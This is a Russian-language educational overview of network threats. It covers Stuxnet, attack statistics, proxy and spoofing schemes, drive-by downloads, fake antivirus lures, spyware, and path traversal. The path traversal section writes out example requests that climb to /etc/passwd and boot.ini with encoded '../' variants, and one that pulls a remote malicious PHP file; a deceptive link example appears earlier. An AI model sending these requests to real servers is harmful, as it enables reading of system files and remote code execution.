В 2009 году, до появления Stuxnet, когда операторы GRID только начали говорить о необходимости защиты критической инфраструктуры от кибератак, редкие фирмы нанимали специалистов по информационной безопасности (см. After Stuxnet: The new rules of cyberwar (новые правила кибервойны). Каждый раз, когда Stuxnet запускается, компьютер записывет внутри исполняемого файла имя компьютера, его IP-адрес, имя группы или доменную часть имени. Анализ этих запией показал, что Stuxnet не покинул пределов локальной сети. Были и атаки-предшественники, которые показали, что первая зараженная машина принадлежала Foolad Technic Engineering Co., базирующейся в Исфагане, Иран. Эта компания создавала автоматизированные системы для иранской промышленности. Следует иметь в виду, что помимо разрушительной функции Stuxnet имеет и разведывательную секцию. 7-го июля 2009г, Stuxnet заразил другую иранскую компанию Neda Industrial Group, на которую распространялись санкции США. Помимо этого Stuxnet поразил домен CGJ, принадлежащий Control-Gostar Jahed и занимающейся автоматизацией. Позднее Stuxnet.b заразил компьютеры иранской компании Behpajooh Co. Elec & Comp. Engineering. Под эпидемию попали машины компании Mobarakeh Steel Company и многих других, не вовлеченных в ирнскую ядерную программу.

Разработка Stuxnet показала, что объект из виртуального мира может нанести реальный физический ущерб. Это поставило вопрос о разработке международных стандартов по кибербезопасности.

Такое сродство "хороших" программ с ошибками и malware породило специальный термин badware (bad software = плохая программа - вспомним "плохую" квартиру у Булгакова). Так что у нас появляется еще один стимул искать пути минимизации ошибок в программах.

Поставщики антивирусных и анти-spyware программ могут предложить специфические средства, о которых вы возможно и не слышали, но которые вполне могут помочь в вашем случае. Не бойтесь использовать средство от поставщика, отличного от используемого вами. Следует иметь в виду, что разные продукты имею разную функциональность и возможности. Противодействие spyware в последнее время стало особенно актуальным. Здесь важны как средства профилактики, так и утилиты на случай, когда заражение уже произошло. Обзор таких средств можно найти в Spyware Removal Checklist, а также Средства для борьбы со spyware.

Хэшируйте подозрительный файл с помощью, например, HashCalc и сравните с результатом, полученным для заведомо рабочей копии этого файла.

Если возникли сомнения, выполните перезагрузку. Если вам не удается перезагрузить Windows -- происходит повисание или бесконечные попытки перезагрузки, начиная с определенной точки it -- даже в safe mode, тогда можно осуществить полную переустановку системы. Но прежде чем делать это, попытайтесь использовать Winternal's ERD Commander, чтобы спасти нужные вам файлы. Можно также попробовать восстановить систему с помощью backup.

На уровне фирмы или организации необходим специальный план реагирования на любой сетевой инцидент. Одно дело очистить одну или две машины и совершенно другое - выполнить то же самое для целой сети. Ниже приведен список ссылок, которые могут быть полезными для решения рассмотренных проблем:

  1. http://csrc.nist.gov/publications/nistpubs/800-83/SP800-83.pdf
  2. http://csrc.nist.gov/publications/nistpubs/800-61/sp800-61.pdf
  3. http://www.first.org/resources/guides
  4. http://cirt.rutgers.edu/tools.php

Традиционные Firewall постепенно замещаются программами, способными анализировать не только заголовки, но и данные, например, XML-firewall или WEB-сервис firewall. Следует иметь в виду, что наличие Firewall сети или отдельной ЭВМ не является гарантией безопасности, в частности потому, что сама эта программа может стать объектом атаки. XML-firewall анализирует содержимое (поле данных пакетов) сообщений и контролирует аутентификацию, авторизация и акоунтинг. Различие между XML-firewall и WEB-сервис firewall заключается в том, что последний не поддерживает открытые стандарты. В настоящее время Firewall должны контролировать четыре аспекта:

  1. Целостность сообщений
  2. Предотвращение DoS атак
  3. Защита с учетом анализа данных
  4. Аутентификация и авторизация.

Смотри:
http://www.nwc.com/showitem.jhtml
http://www.oasis-open.org
http://vulcan.forumsys.com
http://nwc.securitypipline.com (Network Computing USA's Security Pipeline - 'XML Gateways' article by Lori McVittie).

До недавнего времени компания CISCO хранила пароли в конфигурационных файлах в виде открытого текста, теперь они собираются использовать хешированное хранение паролей.

Но современные ЭВМ легко позволяют подобрать пароль при наличии хеша (2ГГц Intel может проверить 5000 паролей в сек). По этой причине нужно ограничить доступ к файлу хешей паролей. Табличный метод (rainbow tables) может ускорить подбор на порядок.

Многофакторная аутентификация является, похоже, единственной альтернативой современной системе паролей. Здесь имеется в виду использование сертификатов, ID-карт пользователей, и контроль их биометрических данных (отпечатков пальцев, голоса или радужной оболочки глаза).

Примерно 90% всех мобильных приборов (лэптопы, MP3, USB-флэшки) не имеют необходимой защиты. Кроме того каждый год более одного миллиона компьютеров теряется или крадется, при этом менее 2% удается вернуть. Кража корпоративного laptop в среднем обходится в более чем 80000$. За два с половиной года было компрометировано 160000000 рекордов конфиденциальной информации.


Впервые зарегистрирован случай заражения вирусом бортовой машины международной космической станции. Заражение произошло через USB флэш-память. И это при тотальном контроле! Что можно ожидать в обычных наземных условиях при практически тотальном разгильдяйстве?

Расцвет сетевого воровства происходит, в том числе и потому, что грабить человека, лица которого не видишь, психологически много проще.


При разработке средств защиты учет психологии как атакера, так и его потенциальной жертвы совершенно необходим.

Число официально зарегистрированных в мире сетевых инцидентов различного рода возрастает экспоненциально, о чем можно судить по рис. 2. (см. http://www.cert.org/stats/). Этот рост совпадает с ростом числа узлов в Интернет, так что процент хулиганов и шизофреников величина похоже инвариантная. Атаки можно разделить на несколько классов:

Список номеров портов для известных троянских коней можно найти в http://www.simovits.com/nyheter9902.html

В 2004 году зарегистрировано 523 109 сетевых инцидентов (это явилось результатом мониторинга 450 сетей в 35 странах мира). Из них 41% атак соответствовали различным видам несанкционированной активности, 26% - попытки несанкционированного доступа, 21% - представляли собой сканирования, 9% - DoS атаки и 3% - попытки некорректного использования приложений. Особенно популярно в последнее время использование уязвимостей броузеров. За последние шесть месяцев 2005 года выявлено более 1000 новых сетевых червей и вирусов (см., например, http://www.acmqueque.com). Большинство вирусов и червей с самого начала делаются полиморфными и метаморфными. Разработчиками предпринимаются специальные меры по их маскировке. Некоторые виды этих вредоносных программ, попав в ЭВМ жертвы, выявляет возможные уязвимости (результат такого исследования может быть передан автору программы по IRC каналам) для последующих атак с привлечением других средств.


Появились даже черви (malware), которые уничтожают другие вредоносные программы в ЭВМ-жертве. Делается это не ради благотворительности, для хакера важно не только превратить машину в зомби, но и единолично ее контролировать, ведь машина-зомби является товаром.

Внутренняя структура и функциональность вирусов и червей существенно усложняется. Они уже могут подбирать для себя специфические объекты для атаки. Для этих целей вирусы и черви используют информационные ресурсы, например, поисковые системы типа Google. Таким образом, они уменьшают вероятность обнаружения и повышают число жертв, так как время от момента разработки до детектирования и выработки средства противодействия увеличивается. Кроме того, скрытность атаки повышает ее экономическую эффективность, ведь чем дольше факт атаки остается неизвестным, тем большую прибыть может получить хакер. Появился даже специальный термин Google hacking (или Google injection) для разновидностей атак, использующих поисковые системы для выявления данных, необходимых для атаки. Имеется база данных GHDB (Google Hacking Database), где хранятся запросы, которые призваны идентифицировать чувствительную информацию.

Если раньше большинство атак имели своей целью мелкое хулиганство, форму самоутверждения или спортивный интерес, теперь все больший процент атак преследует преступные цели и коммерческий интерес. Хакеры готовят и продают наборы взломанных ими ЭВМ для рассылки спама, фишинга и для DoS атак. На данном этапе эти атаки предпринимаются против полулегального бизнеса (азартные игры через Интернет, порнографические сайты и т.д.). В последнее время отмечается тенденция применения сетевых атак с политической мотивацией. Данная тенденция означает, что средства вторжения будут выполнены все более профессионально. Разработчики вредоносных кодов предлагают даже послепродажное обслуживание и обновление.

К первому типу относятся и атаки типа SMURF, ICMP flood и TCP SYN flood. ICMP flood не использует эффектов усиления на локальных широковещательных адресах, а работает c адресами типа 255.255.255.255. Здесь следует заметить, что для аналогичных целей хакеры могут использовать и протоколы TCP или UDP.

Рис. 2. Распределение числа официально зарегистрированных сетевых инцидентов по годам.

Разнообразие угроз, подстерегающих пользователя, работающего в сети, огромно. Часть из них является платой за использование сложных информационных технологий, уязвимых к внешним воздействиям, другая часть сопряжена с деятельностью людей. Некоторые угрозы носят объективный характер, например, нестабильность или низкое качество питающего напряжения, электромагнитные наводки или близкие грозовые разряды, другие могут быть связаны с невежеством или неаккуратностью самого пользователя. На рис. 3. сделана попытка составить классификацию существующих угроз (схему нельзя рассматривать исчерпывающей).

Рис. 3. Схема классификации угроз

Ниже на рис. 4 показано распределение атак сети ИТЭФ по их разновидностям (Это и последующие два распределения построены студентом МФТИ А.Тарховым).

Рис. 4.

На рис. 5 показана зависимость числа атак от времени суток, полученная за 19 дней.

Рис. 5.

На рис. 6 показано распределение атак по доменным зонам. Из распределения видно, что этому занятию предаются чаще всего "жители" больших и комерческих сетей. Хотя нельзя исключить, что именно они являются чаще жертвами хакеров.

Рис. 6.

Для того чтобы писать и эффективно поддерживать программы распознавания атак, надо знать и учитывать распределение атак по сигнатурам, по времени суток (не исключено, что перечень регистрируемых сигнатур может меняться для дневного и ночного времени), по сложности распознавания и методам противодействия. Вычислительные ресурсы ЭВМ-регистратора всегда будут критическим параметром, так как число атак в единицу времени, и количество разных сигнатур будет только расти. По этой причине вряд ли когда-либо можно будет позволить мониторировать все известные виды атак. Да и необходимость этого не очевидна (вряд ли сейчас нужно контролировать атаки ОС DOS). Здесь не рассматриваются проблемы информационной безопасности (аутентификация, сертификация, шифрование файлов и пакетов и пр.). В таблице 1 представлено распределение атак по определенным классам. (смотри http://advice.networkice.com/advice/Intrusions/)

Таблица 1

Вид атаки Зарегистрированное число разновидностей Доля в
процентах
Использование вирусов и червей91.3
Атаки уязвимостей протоколовTCP152
HTTP699.2
SNMP7910.5
SMTP405.3
DNS212.8
SAMBA152
Telnet172.2
POP3121.4
IMAP60.7
NNTP30.35
Finger111.3
FTP415.4
TFTP121.4
Rlogin50.6
IDENT50.6
Radius20.3
RPC425.6
Атаки через CGI496.5
Троянские кони>405.3
Сканирование портов486.4
DoS121.6
Автоматический подбор паролей (login)101.3
Некорректные параметры заголовков пакетов и запросов222.3
Прочие16722
Итого753

В раздел “прочие” попали атаки ОС и известных слабостей системных программ и приложений (например, потайные двери/люки), атаки типа “ложный маршрутизатор” IDENT, SQL, сетевых печатающих устройств, NFS, SOCKS, SMB, WINS, IIS и т.д.

В статистику не были включены атаки маршрутизаторов (например, CISCO, Ascend и пр.), специфических серверов (например, поисковых, почтовых, печати, Firewall), атаки разнообразных драйверов баз данных, фальсификация МАС-адресов, перехват ключей, сертификатов и паролей и т.д. Реальное число зарегистрированных сигнатур атак, полагаю, давно перевалило за 1000.

Важным фактором является актуальность базы данных сигнатур, ведь наличие сигнатуры в базе данных не означает присутствия этого типа атак во входящем трафике. Некоторые сигнатуры “выходят из моды” быстро и навсегда.

Сигнатуры, распознаваемые по заголовку пакета, составляют несколько более 15% (здесь учтены манипуляции с заголовками SNMP, включая community, а также фальсификации DNS-заголовков). Сюда следует, разумеется, отнести и подбор кода community.

Заметный процент составляют атаки, рассчитывающие достичь эффекта путем переполнения буфера (входного буфера приложения, пароля, имен и т.д.), это - 11.3%. Это один из самых сложных случаев, ведь надо знать размер буфера для каждого приложения, которое может стать объектом атаки.

Атаки на CGI сопряжены с генерацией нестандартных строк URL и параметров (6.5%), некоторые из них также работают в расчете на переполнение буфера параметров.

Некоторые сигнатуры, требуют анализа не только входящего, но и исходящего трафика (например, шторм неспровоцированных откликов), что существенно усложняет алгоритм распознавания (смотри комментарии к рис. 7).

Отдельный класс образуют атаки механизма сборки сегментированных TCP-пакетов. Эти уязвимости имеют некоторые NGFW (New Generation FireWall) и IDS (Intrusion Detection System) системы. Смотри "Does TCP/IP reassembly pose a TCP/IP packet format risk?", Brad Casey.

ФБР (США) поделило все сетевые события и инциденты на 6 категорий по их опасности:


Категория Описание
1
Неавторизованный доступ
Атакер пытается получить доступ к сети, системе, приложению, данным или другим ресурсам, не имея для этого разрешения
2
Отказ в обслуживании (DoS)
Атакер пытается блокировать или ухудшить авторизованный доступ к сети или ресурсам, системам, приложениям и т.д. путем перегрузки канала, памяти или какого-то иного ресурса.
3
Вредоносный код
Успешная установка вредоносного кода (например, вируса, червя, spyware, bot, троянского коня или другого объекта, способного нанести вред операционной системе или приложению). Такое событие не регистрируется, если оно было предотвращено, например, антивирусной программой.
4
Некорректное использование
Человек нарушает правила безопасной политики использования сети, компьютера или приложения.
5
Сканирование, зондирование или попытки доступа
Любая активность, которая способствует получению доступа или идентификации на компьютерах, попытки выявления открытых портов, используемых протоколов или любых комбинаций для последующей атаки. Эта активность не влечет за собой непосредственной компрометации компьютера или сети.
6
Исследование
Неподтвержденные потенциально опасные инциденты или аномальная активность.

Атаки, связанные с рассылкой вирусов, червей, кроликов, троянских коней или молдавская связь, как правило требуют для достижения цели сотрудничества со стороны жертвы (используется алчность, любопытство или хотя бы беспечность).

Мало зарегистрировать атаку, надо определить и корректно интерпретировать IP-адрес, откуда эта атака исходит. Чаще всего, имея IP-адрес, достаточно легко отследить путь атаки, например посредством Trace Route. Полезным может оказаться утилита NSLookup, а также служба Whois, которая позволяет определить сервис-провайдера атакера и его географическое положение.

Но существует класс атак с фальсификацией адреса отправителя, когда эту задачу решить затруднительно. Эта техника используется большинством атак отказа обслуживания (DoS), а также некоторыми другими. Два примера такого типа атак описаны на рис. 3 и 4.

Атака через прокси серверы (например, при наличии загруженной в ЭВМ SOCKS программы WinGate) представлена на рис. 7.

Рис. 7.

Здесь атакер (hacker на рисунке) использует прокси-сервер, через который связаны с Интернет ЭВМ на левой части рисунка, для атаки машины (victim). При этом для атакуемой машины будет казаться, что ее атакует ЭВМ SOCKS. Особенностью этого класса атаки является то, что атакер может находиться где угодно в Интернет. Но в случае жалобы со стороны ЭВМ-жертвы его положение может быть легко локализовано, при наличии доброй воли администратора или владельца прокси-сервера.

Хакер может создать прокси сервер, имитирующий работу сайта какой-то известной компании. Пользователь будет в конце концов переадресован на сервер этой компании, но все пакеты клиента будут идти через прокси хакера. Это для него особенно привлекательно, если пользователь должен авториризоваться на сервере компании. Ведь людям свойственно использовать ограниченный набор паролей и хакер может использовать перехваченный пароль для атаки других ресурсов, где авторизован пользователь. Хакерский прокси-сервер может использоваться и для снабжения клиента различными видами вредоносного программного обеспечения. С помощью прокси можно переадресовывать запросы клиентов на вредоносные сайты. Прокси могут использоваться и для фальсификации откликов DNS-серверов.

Рис. 8.

На рис. 8 показана схема атаки с зеркалированием пакетов в маршрутизаторе R. Маршрутизатор R сконфигурирован так, чтобы копии пакетов, следующих из ЭВМ А в ЭВМ В, попадали в машину Х (ЭВМ атакера). В данной схеме атакер должен договориться с администратором R (если это не он сам), так как нужна специфическая конфигурация маршрутизатора. Но он может выйти из положения, сформировав на своей ЭВМ ложный маршрутизатор, поддерживающий протокол внешней маршрутизации BGP.

Такая схема позволяет Х атаковать А, создавая впечатление, что ее атакует ЭВМ В. Для ЭВМ В будет иметь место эффект шторма неспровоцированных откликов со стороны ЭВМ А (если для атаки использован протокол ТСР).

Для распознавания сигнатуры атаки в ЭВМ В нужно регистрировать входящие пакеты с адресом А и флагом ACK, проверяя в то же время факт, что ЭВМ В не посылала А никаких пакетов.

Данная схема атак (с фальсификацией адреса отправителя) пригодна также и для относительно безопасной рассылки SPAM.

Одной из задач любого хакера является сокрытие факта атаки и по возможности ее источника. Одним из методов достижения этой цели - анонимизаторы. Это по существу разновидность прокси-серверов. Главная их цель - скрыть адрес источника запросов. Анонимизаторы позволяют обойти фильтры URL-имен и нарушать политику доступа к определенным ресурсам. Например, в школах и библиотеках может быть запрещен доступ к YouTube, MySpace и Facebook, но с помощью домашнего компьютера с программой анонимизатора такой запрет может быть обойден. Проблему усугубляет наличие у некоторых ресурсов нескольких IP-адресов (при одном URL). Серверы-анонимизаторы были созданы гражданами государств с репресивными режимами, чтобы работать с Интернет, не рискуя быть подвергнутыми преследованиям (см. Anonymizers - The Latest Threat to Your Web Security).


В 2006 году десятку самых разрушительных видов сетевых атак составили (большая их часть относится к ОС Windows; данные глобальной сети SophosLabs, включающей в себя десятки тысяч станций):

  1. Mytob - сетевой червь (автор российского происхождения, гражданин Морокко Фарид Эссебар, 18 лет, получил за это достижение 2 года тюрьмы).
  2. Netsky - червь. Автор, тинейджер из Германии, приговорен к одному году и девяти месяцев тюрьмы.
  3. Sober - семейство Malware (разработано в 2003, остановлено распространение в январе 2006). Имеет несколько разновидностей червь/троянский конь.
  4. Zafi - вирус (впервые появился в апреле 2004 средой распространения является почта).
  5. Nixem - сетевой червь. Среда распространения - файлы типа DOC, MDB, PPT, PPS, ZIP, RAR, PSD, PDF и DMP.
  6. Bagle - вирус. Создан в 2004 году, последняя вспышка заражений приходится на февраль 2006.
  7. MyDoom - червь. Создан в январе 2004. Объявлено вознаграждение размером 250000$, тому кто укажет на автора червя. Уязвимы машины и с новой ОС VISTA.
  8. Stratio - червь. Впервые обнаружен в августе 2006 года. Распространяется через SPAM.
  9. CLagger - троянский конь. Как все троянские кони для своего распространение нуждается в содействии жертвы.
  10. Dref - червь. Распространяется с середины 2005 через IRC. Уязвимы все версии Windows. Для усыпления бдительности используются средства социальной инженерии. Например, сообщается, что Джордж Буш развязал ядерную войну, для получения подробностей предлагается заглянуть в прилагаемый файл. Кого будет беспокоить возможность наличия троянского коня, если началась мировая война?

Россия занимает почетное третье место по числу WEB-серверов, опасных для посещения, следуя за США и Китаем . Большая часть опасных программ (malware) (около 30%) создается в Китае (данные на конец 2006 года), бразильские хакеры создают 14,2% таких продуктов (в основном троянские кони). Россия и Швеция производят соответственно 4.1% и 3.8%. Термин malware (malicious software), прежде чем стать общепринятым, был в начале введен в компьютерный лексикон журналистами и относился исключительно к вирусам и сетевым червям. Для разработки malware все чаще используются приемы, сформированные программистами, работающими в сфере сетевой безопасности. Одним из средств защиты от воздействия посещения вредоносных WEB-серверов является фильтрация URL.

Атаки через WEB-серверы

В данной статье описано много различных атак WEB-серверов и броузеров, но, начиная 2005 года мало-помалу стал формироваться особый класс атак - атаки через WEB-сервер. Ранее считалось, не заходите на сомнительные WEB-сайты и вы в безопасности. Априори считалось, что серверы крупных солидных фирм и государственных учреждений вне подозрений и заход на них не может принести вреда. Сегодня это совершенно не так (пример такого рода смотри выше - атака сайта www.vt21.ru).

Если вдуматься, то такое развитие событий логично. На официальные сайты крупных организаций заходят беззаботно большое число людей, именно по этой причине они являются мишенями атак хакеров. Если атака такого сайта оказывается успешной, хакер размещает там вредоносный код или ссылку на вредоносный сайт. Внешне это может быть более чем безобидно, например, <a href=www.hacker.ru>www.microsoft.ru</a> - ведь пользователю видна лишь URL Microsoft. В результате за короткий срок могут быть заражены и взломаны машины пользователей, посетивших такой WEB-сервер. Смотри Web Based Attacks. Таким образом, одно успешное вторжение может дать хакеру тысячи машин-зомби.

Спектр разновидностей атак этого типа необыкновенно широк. Этому способствует многообразие технологий, используемых на сайтах солидных фирм: мультимедиа, форумы, базы данных, ICQ, PHP и CGI-скрипты и т.д. При просмотре страницы ее образ часто формируется из материалов, поступающих из самых разных источников (до 20), в том числе считываемых через Интернет в реальном масштабе времени. Дополнительную угрозу могут представлять рекламные баннеры, размещаемые непроверенными организациями.

В 2008 году компания Symantec зарегистрировала атаки из 808000 доменов, многие из которых являются серверами достаточно солидных фирм (среди них новостные серверы, сетевые центры по продажам, бюро путешествий, правительственные учреждения и пр.).

Легальные WEB-серверы взламываются посредством:

К числу уязвимостей прикладных программных средств следует отнести возможность удаленного исполнения произвольных команд, загрузка файлов из Интернет, удаленный запуск исполнения локальных файлов, удаленное разрушение приложения. Надо сказать, что это вопиющие уязвимости, существует огромное множество менее очевидных слабостей прикладных программ.

Все чаще хакеры используют видео и аудио-файлы для перенесения вредоноснх кодов. Пользователям следует проявлять осторожность при участии в вебинарах.

Потенциально уязвимые узлы выявляются с привлечением специализированных поисковых систем. Тот факт, что многие сайты формируются с использованием баз данных, делает атаки типа SQL-injection особенно эффективными. При этом часто используется технология IFRAME. Надо сказать, что существуют и другие сходные разновидности вторжений (OS-injection, LDAP-injection, XPath-запросы), когда интерпретатору входных данных подсовываются неприемлемые параметры в надежде сломать систему.


Анализ атак через WEB-серверы показал, что техника детектирования вирусов и вообще атак с помощью сигнатур становится все менее эффективной. Разработана методика шифрования вредоносного кода, что делает невозможным его распознавание из-за отличия ключей. Этому способствует также то, что счет сигантур идет уже на десятки тысяч.

Хакерами разработан специализированный набор инструментальных программных средств для взлома серверов и рабочих станций - toolkit. В Интернет имеется ряд общедоступных и даже коммерческих видов toolkit, например, Neosploit, MPack, Icepack, El Fiesta и Adpack. Эти средства ориентированы на использование известных классов уязвимостей браузеров (ActiveX, мультимедиа plug-ins и пр.)

Toolkit включают в себя:

Если до 2006 года включительно средства маскировки атаки не применялись, то в настоящее время это стало стандартной практикой. Сюда относятся автоматические средства полиморфизма malware, а также программы шифрования.

Одним из основных инструментов вторжения в последнее время стала атака типа "drive-by download" (загрузка файлов или скриптов без ведома хозяина). В 2008 году Symantec зарегистрировала 18 миллионов попыток такого вида вторжений. При этом могут использоваться самые разные технологии. Схема такой атаки показана на рисунке.


Логика заражения наглядно показана на рисунке ниже (см. Drive-by-Downloads, Web Malware Threats, and Protecting Your Website and Your Users). Ниже этой проблеме посвящен небольшой специальный раздел Атаки "Drive-by Download".


Реализация разновидности атаки такого типа показана на рисунке ниже (цифры 1-6 указывают на последовательность действий) . Смотри Today’s Blended Threats White Paper. Identifying and Stopping Web-based Email Attacks.


Сначала хакер взламывает какой-то легальный WEB-сервер и размещает там вредоносный код (1). Далее атакер рассылает почтовые сообщения со ссылками на зараженный сайт (2). Такие почтовые сообщения легко преодолевает антивирусные фильтры и детекторы SPAM (3). Клиент-жертва кликает на ссылке, указывающей на зараженный сайт (4).Так как сайт является легальным, переход туда осуществляется без препятствий, ведь его URL отсутствует в репутационных списках или ACL (5). После этого машина пользователя оказывается зараженной (6).

Разнообразие мультимедиа форматов также облегчает работу хакеров. Ведь пользователя обычно не удивляет необходимость загрузки новейшей версии кодека или драйвера для просмотра или прослушивания материала, размещенного на удаленном сервере. Например:


Но помимо драйвера или вместо него может быть загружен, например, spyware. Возможно также ложное уведомление о вирусе на вашей машине с предложением его удалить, если вы кликнете на соответствующей клавише. Результат здесь будет тем же, что и в случае с драйвером/кодеком. Пример такого уведомления представлен ниже.


Разумеется богатые возможности предоставляет случай, когда вы вздумаете воспользоваться через WEB-сайт услугами файлообменной сети. Здесь вам могут также предложить загрузить новую версию служебной программы, так как та, что у вас имеется, уже устарела.

Рекламные сообщения могут вас привести на некоторый сайт, где вам предлагается купить нечто через Интернет (книгу или содержимое музыкального диска). При этом вам будет предложено ввести номер вашей кредитной карты и пин-код. Товар вы вероятнее всего получите, но вскоре выяснится, что сумма на вашем счете начала на глазах таять. Существует и другая разновидность такой уловки. Вам предлагают дешевый вариант некоторой программы. Если вы покупаете ее, вместе с ней вы получите некоторую разновидность malware. Хакер совмещает "приятное с полезным". Среди таких программ (обычно дешевле 50$):

  1. SpywareSecure
  2. AntiVirus2008
  3. AntiVirus2009
  4. XPAntivirus
  5. WinFixer
  6. SafeStrip
  7. RegistryDefender
  8. VirusRemover2008
  9. IEDefender
  10. VirusResponseLab

Этим перечень различных уловок с WEB-сайтами не исчерпывается. Каждый день появляются новые. Так что будьте подозрительны и осторожны! Следите за качеством паролей (совет тривиальный, но по прежнему эффективный). Своевременно, желательно автоматически, обновляйте свои программные продукты. Полезно рассмотреть возможность установки WAF (WEB application Firewall).

Одним из простых способов защиты информации является ее маскирование, когда критические данные подменяются видоизмененными данными (на вид вполне правдоподобными), при сохранении форматов. Такая схема может быть применена для внешних клиентов, не обладающих требуемым уровнем доступа. Это может быть и шифрация/дешифрация, но могут быть использованы и более примитивные методы, например, все фамилии заменяются на Иванов. Подобную подмену полезно делать при отладке программ обработки корпоративных данных, чтобы избежать утечки информации. Такая задача может быть легко решена во многих организациях своими силами.

Path Traversal (slash-атаки)

Атаки типа Path Traversal имеют своей целью получение доступа к файлам и каталогам, которые расположены вне пределов, определенных конфигурацией (web root folder). При просмотре приложения атакер ищет абсолютные проходы к файлам, размещенным на машине WEB-сервера. Путем манипулирования переменными, которые указывают на положение файлов, с помощью последовательностей "../" и их вариаций, может быть получен доступ к любым файлам и каталогам, имеющимся в системе, включая исходные коды приложений, конфигурационные и критические системные файлы с ограниченным доступом. Атакер использует в своих запросах последовательности типа “../”, чтобы попасть в корневой каталог.

Эта атака может быть предпринята с использованием вредоносного кода, встроенного в строку прохода, как это делается в атаке Resource Injection. Для выполнения атаки необязательно использовать какое-то специальное программное средство; атакеры часто используют поисковые серверы, чтобы детектировать все присутствующие URL.

Эта атака известна также под именем "dot-dot-slash”, “directory traversal”, “directory climbing” и “backtracking”. Смотри и Slash-атаки (мой сервер хакеры также не забывают).

Возможны варианты представления "../" в виде %2e%2e%2f, ..%c0%af или %2e%2e/. возможны запросы типа:

http://some_site.com.br/../../../../some dir/некоторый_файл или
http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php,
http://example/../../../../../etc/passwd http://example/..%255c..%255c..%255cboot.ini http://example/..%u2216..%u2216someother/file и т.д.

Аналогичной цели можно попытаться достичь используя строку http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi .

Нежелательные программы (PUP)

К числу нежелательных программ PUP (Potentially Unwanted Program) можно отнести:

Существуют программы, которые создавались как хакерские, но позднее были адаптированы для облегчения работы администраторов, например, Netbus.

Ясно, что провести четкую границу между вредоносными кодами, написанными молодыми людьми антисоциального толка, и сходными программами, созданными легальными фирмами, становится все труднее (а иногда это сделать просто невозможно). Примером программ последнего типа могут служить утилиты "виртуального маркетинга". Здесь имеет место использование ресурсов пользователя для извлечения выгоды без уведомления последнего. Используют ли авторы malware технологии виртуального маркетинга или разработчики этой технологии применяют опыт хакеров для достижения своих целей, не вполне ясно. Очевидно, что и те и другие ведут войну за овладение ресурсами вашего компьютера для извлечения собственной выгоды.

Классификацию этих программ усложняет тот факт, что многие их вредоносных утилит совмещают особенности самых разных хакерских кодов в любых комбинациях. Например, некоторые разновидности троянских коней могут сами себя рассылать с помощью электронной почты, другие, как например троянский конь SpamThru, осуществляет рассылку SPAM и блокирует работу антивирусных систем. Если традиционный вирус представляет собой один исполняемый файл (.exe), то современная версия предполагает встраивание различных программных и информационных модулей в несколько других программ и конфигурационные массивы. Эти действия, помимо прочего, способствуют сокрытию факта заражения и препятствуют удалению вредоносных включений.

Вредоносные программы могут выполнять следующие функции:

Программы, которые реализуют хотя бы одну из названных выше функций могут быть смело отнесены к потенциально вредоносным. Но и некоторые другие особенности могут отнести код к категории потенциально опасных. Например, сокрытие процессов, файлов, сервисов, регистров или ключей а также блокировка работы Firewall, антивирусных программ, переадресация или пересылка персональных данных. Анализ вторжений показывает, что успеху часто способствует наличие на машине клиентского обеспечения для файлового обмена по схеме P2P. Широкая популярность файлообменных сетей, базирующихся на технике P2P, а также P2P-телевидение весьма способствуют этому.

Введем определение некоторых классов потенциально опасных кодов (PUP).

Spyware

Spyware - это программа, в функции которой входит скрытная передача персональной информации третьей стороне, без ведома пользователя. Впервые spyware была идентифицирована в 2002 году. Первоначально многие антивирусные компании рассматривали ее как новую разновидностью вируса. Надо сразу сказать, что цели создателей вирусов и spyware принципиально различны. Если разработчиками вирусов являются хулиганы, честолюбцы, искатели минутной славы, то создатели spyware практически всегда преследуют корыстные цели, иногда они работают по заказу фирмы-нанимателя или рекламодателя. Да и по поведению вирусы и spyware совершенно различны. Вирусам присущи механизмы самораспространения, а для spyware очень часто требуется некоторая форма сотрудничества со стороны жертвы. Spyware часто является неотделимой частью freeware. Смотри также www.trendmicro.com.

Во многих случаях spyware функционально тождественна троянскому коню. Но сплошь и рядом она содержит в себе черты adware (выявление вкусов и интересов клиентов, при этом не следует полагаться в это случае на ее травоядный характер). Чаще всего spyware так или иначе использует браузер (см. antispyware). Как правило эти программы предпринимают меры, препятствующие ее обнаружению и удалению. В последнее время spyware стала основным средством сетевого шпионажа. Функциональность программы может варьироваться в широких пределах. Заражение возможно при посещении сомнительных WEB-сайтов, через электронную почту, посредством IM (Instant Messaging), воспользовавшись бесплатным программным обеспечением. Каждый месяц легкомысленные пользователи посещают 285 миллионов сомнительных сайтов. Одним из способов заражения является drive-by download, когда вредоносная программа загружается на машину жертвы при просмотре WEB-страницы или при прочтении почты, содержащей HTML-фрагменты. Вредоносные программы часто содержатся на серверах бесплатного программного обеспечения. Компании, производящие бесплатные программы, часто проплачиваются фирмами рекламодателями за каждый зараженный компьютер, позволяющий доставлять рекламу пользователю машины. Файлы, образующие код spyware, могут быть разбросаны по жесткому диску и способны к самовосстановленияю некоторых уничтоженных фрагментов. Особый класс spyware образуют RAT (Remote Access Trojan), предназначенные для формирования люков (черных входов в программу). В машине spyware может иметь вид обычной библиотеки DLL. Принципиальным отличием spyware от вируса является отношение создателя этих программ к деньгам. Разработчик spyware делает это исключительно ради денег, разработчиком вируса часто движит желание самоутверждения или славы. Лучшей защитой от spyware является оборона периметра с фильтрацией всех подозрительных URL. Это попутно защитит вашу сеть от многих других видов malware.

Заражение spyware может произойти, когда при просмотре какого-то сайта вам предлагают в pop-up окне нажать "невинную" кнопку или (или Continue). Может поступить уведомление, что на вашей машине обнаружен вирус и далее вас спрашивают "Удалить его?". Если вы подтвердите это действие, к вам может быть загружен вредоносный код. В последнее время spyware стали использовать и для атак DoS.


Любители всего бесплатного должны задумываться по поводу мотивов владельцев программ, ведь написание и отладка программы стоят не малых денег, да и содержание самого WEB-сервера чего-то стоит... Разумеется, это касается программ, детектирующих spyware с бесплатным доступом. Такая программа, что-то найдет и удалит, но с большой вероятностью, что-то другое установит. И еще не известно, что лучше.

